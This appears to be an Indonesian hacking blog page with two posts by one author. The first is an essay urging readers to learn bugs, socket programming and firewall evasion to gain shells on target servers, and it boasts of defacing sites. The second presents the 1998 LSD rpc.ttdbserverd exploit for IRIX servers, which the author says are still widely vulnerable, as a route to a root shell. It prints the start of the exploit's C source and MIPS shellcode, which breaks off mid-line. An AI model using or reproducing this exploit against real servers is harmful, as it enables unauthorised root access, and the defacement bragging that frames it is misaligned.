to top of page | to Authentication Issues | to Reading Room Home

manual hacking

Filed under: Hacking — midnightriders @ 3:53 pm

Memahami Lebih Jauh Tentang Manual Hacking - Psikologi Hacking

Oleh Dani Firman Syah

Banyak sekali teman-teman saya yang mengira kalau saya menjebol sekuriti sebuah site dengan manual hacking adalah dengan menggunakan teknik SQL Injections padahal sebenarnya tidak. Bahkan ada beberapa yang menduga kalau teknik yang saya gunakan adalah teknik buffer overflow. Saya ingin mengatakan kepada Anda semua bahwa setiap teknik memiliki banyak variasi dan penciptaan variasi-variasi dari setiap teknik sangat tergantung pada pemahaman Anda tentang jaringan komputer, programming, informasi tentang bugs dan pengalaman yang Anda miliki. Bagaimana pun juga di tuntut kemampuan Anda dalam penguasaan sistem unix/linux secara mendalam (not only use but expert too).

In this article I want give you some global description about what the manual technic in hacking method. Actually many bugs exist in your web aplications but you don’t know if your aplication have a bug. Sometimes we could get access in command shell with only rich code of bug in your aplications. If you always read some security site, you will find many information about bug and maybe you will shock after known that bugs. Ahh forget in english, I like Indonesian language, it’s more easy to understand (for you and me) :P.

Oke kembali ke materi, jadi sebelum Anda bermain dengan manual hacking sebelumnya ada sebuah keharusan bagi Anda untuk mengetahui banyak tentang bug-bug sekuriti. Dari pemahaman bugs tersebut kemudian Anda juga harus berpikir bagaimanakah caranya agar Anda bisa mendapatkan akses command shell melalui bugs tersebut. Sebelumnya mungkin Anda pernah membaca artikel tentang fingerprinting attack di port 80 melalui CGI (cari artikelnya di neworder.box.sk) yang dengan beberapa metode Anda bisa mendapatkan akses command shell yang dijalankan melalui browser Anda. Yaa setidaknya itu adalah modal awal bagi Anda untuk bisa masuk ke dalam sistem mereka lebih jauh tidak hanya sekedar command shell di browser tapi juga akses console shell (bash shell, xterm, eterm etc) seperti halnya ketika Anda masuk ke shell nix/linux melalui ssh atau telnet dan bisa menjalankan beberapa command di server target dengan menggunakan aplikasi seperti putty. (yeah but how? :P )

Seperti yang saya katakan sebelumnya, ada sebuah keharusan bagi Anda untuk menguasai bahasa pemrograman. Yang di maksud di sini adalah unix/linux programming seperti C/C++, PHP, Perl, Phyton dan sebagainya. Mengapa? Coba Anda lihat ketika Anda menemukan kasus seperti di paragraf sebelumnya dimana Anda dengan bugs tertentu bisa mendapatkan akses command shell melalui browser dan kemudian Anda menginginkan akses command shell melalui console secara langsung baik dengan menggunakan putty atau aplikasi client socket lain agar Anda lebih mudah untuk mendapatkan akses lebih jauh di server target maka perlu pemahaman yang mendalam tentang socket programming (mestinya dalam unix/linux, sukur kalau Anda juga bisa bermain socket programming di windows :P ).

Selanjutnya apa yang harus Anda ketahui?

Kemampuan untuk menguasai sistem unix/linux atau windows secara mendalam menjadi penting karena tanpa itu Anda hanya akan mendapatkan aksi kosong (percuma). Ketika Anda sudah mengetahui tentang bugs dan socket programming maka Anda akan terbentur dengan permasalahan selanjutnya yaitu firewall. Kalau pun Anda sudah bisa membuat socket di server target tapi solusi apa yang harus Anda lakukan untuk bisa menembus firewall target dengan akses yang terbatas?. Saat ini banyak sekali server-server yang begitu rapinya menanamkan firewall seperti ipchains, iptables dan beberapa tambahan aplikasi IDS like Snort and Snare serta pengaturan sistem port yang begitu secure-nya dengan memanfaatkan TCP Server, TCP Wrapper dsb. Nah sekarang bagaimana cara Anda menemukan solusi untuk menembus sistem seperti itu? Kata kuncinya adalah Anda harus tahu banyak tentang cara kerja sistem tersebut.

Saat ini saya melihat banyak sekali teman-teman yang terpaku dan tergantung pada eksploit dan tidak mencoba menggali informasi yang lebih dalam tentang bug dan sekuriti akhirnya yang terjadi adalah kita selalu menjadi penunggu setia datangnya eksploit-eksploit serta aplikasi-aplikasi sekuriti terbaru (yah bagaimana bangsa kita mau maju). Saya sering sekali memprovokasi temen-temen di channel IRC dengan menunjukan salah satu file hasil deface dengan menambahkan kata-kata “Manual Hacking” tapi respon yang muncul adalah “Please do not say with your large mouth!”. Sungguh sangat di sesalkan, padahal maksud penulis adalah agar Anda termotivasi untuk belajar lebih dalam dan tidak selalu menunggu dan menunggu. Ada beberapa yang sempat tertarik juga ketika saya mem-paste beberapa link hasil deface dengan embel-embel “Try your capabilitiy in Manual Hacking”, tapi sangat sedikit yang merespon dan kalau pun ada paling banter pertanyaannya adalah bagiamana caranya? Tentu saya jawab cari informasinya di securititeam.com, securityfocus.com atau packetstormsecurity.nl atau coba download dokumen-nya di site ini dan site itu. Mereka cuman diam dan memaksa langsung di ajarkan caranya. Kalau pun saya berikan caranya, yah yang terjadi tidak ada kesan mendalam tentang sekuriti dan jawaban yang paling banter “oo… ternyata mudah toh!”. Tapi sebab musababnya sama sekali tidak tahu. Intinya adalah “Belajar dengan berusaha dan berbuat!” karena dari situlah pengalaman Anda akan tergali, terus bersambung dan akhirnya Anda akan terus termotivasi untuk terus mengasah kemahiran Anda.

“Save It in your mind and feel It in your heart!”

Nah sekarang keputusannya ada di tangan Anda J, cobalah untuk merubah paradigma agar dapat memajukan ilmu pengetahuan terutama di bidang sekuriti dan tentu untuk kemajuan bangsa kita (cie… he..he..he). Malu bertanya sesat di jalan, Tidak ada kemauan tidak ada kemajuan

Cara Menjebol IRIX Server dengan Remote RPC

Filed under: Hacking & Internet Source — midnightriders @ 3:52 pm

Cara
Menjebol IRIX Server dengan Remote RPC
Oleh
Dani Firman Syah
 
 
Sebenarnya bug ini sudah
cukup lama tapi saya amati masih banyak server IRIX yang masih bisa di masuki
dengan exploit ini, khususnya untuk server IRIX versi 5.2 5.3 6.2 6.3 6.4 6.5
6.5.2. 
Bug dan exploit ini di
temukan pada bulan Juli 1998 yang merupakan hasil penelitian dari kelompok
security LSD-PLANET, ketika saya baca dokumentasi dan report dari kelompok ini
cukup bagus, kalo ada yang tertarik silahkan Anda baca dokumentasi dan hasil researchnya
di http://www.lsd-pl.net.
  
Oke langsung saja,
prinsip dasar dari exploit ini adalah dengan mengirimkan bit stack ke RPC
daemon yang vulneral di server IRIX, yang mengakibatkan compromise root di
daemon, dan hasilnya adalah shell root ;).
  
Kalo ada dari Anda yang
bertanya teknik hacking dengan exploit ini secara mendetail, jawabannya adalah
Saya tidak tahu hehehehe…. , tapi kalo Anda bisa atau tahu sedikit tentang
bahasa program C atau C++ saya yakin Anda akan tahu  J .
  
Ini source code dari
exploitnya:
  
/*##
copyright LAST STAGE OF DELIRIUM jul 1998 poland        *://lsd-pl.net/ #*/
/*##
rpc.ttdbserverd                                                        
#*/
 
#include
<sys/types.h>
#include
<sys/socket.h>
#include
<netinet/in.h>
#include
<rpc/rpc.h>
#include
<netdb.h>
#include
<stdio.h>
#include
<errno.h>
 
#define
ADRNUM 2000
#define
NOPNUM 18000
 
#define
TTDBSERVERD_PROG 100083
#define
TTDBSERVERD_VERS 1
#define
TTDBSERVERD_ISERASE 7
 
char
findsckcode[]=
    "\x04\x10\xff\xff"       /* bltzal  $zero,<findsckcode>  */
    "\x24\x10\x01\x90"       /* li      $s0,400              */
    "\x22\x11\xff\xb0"       /* addi    $s1,$s0,-80          */
    "\x22\x12\xff\xac"       /* addi    $s2,$s0,-84          */
    "\x22\x0d\xfe\x98"       /* addi    $t5,$s0,-360         */
    "\x03\xed\x68\x20"       /* add     $t5,$ra,$t5          */
    "\x01\xa0\xf0\x09"       /* jalr    $s8,$t5              */
 
    "\x8f\xeb\xff\xc0"       /* lw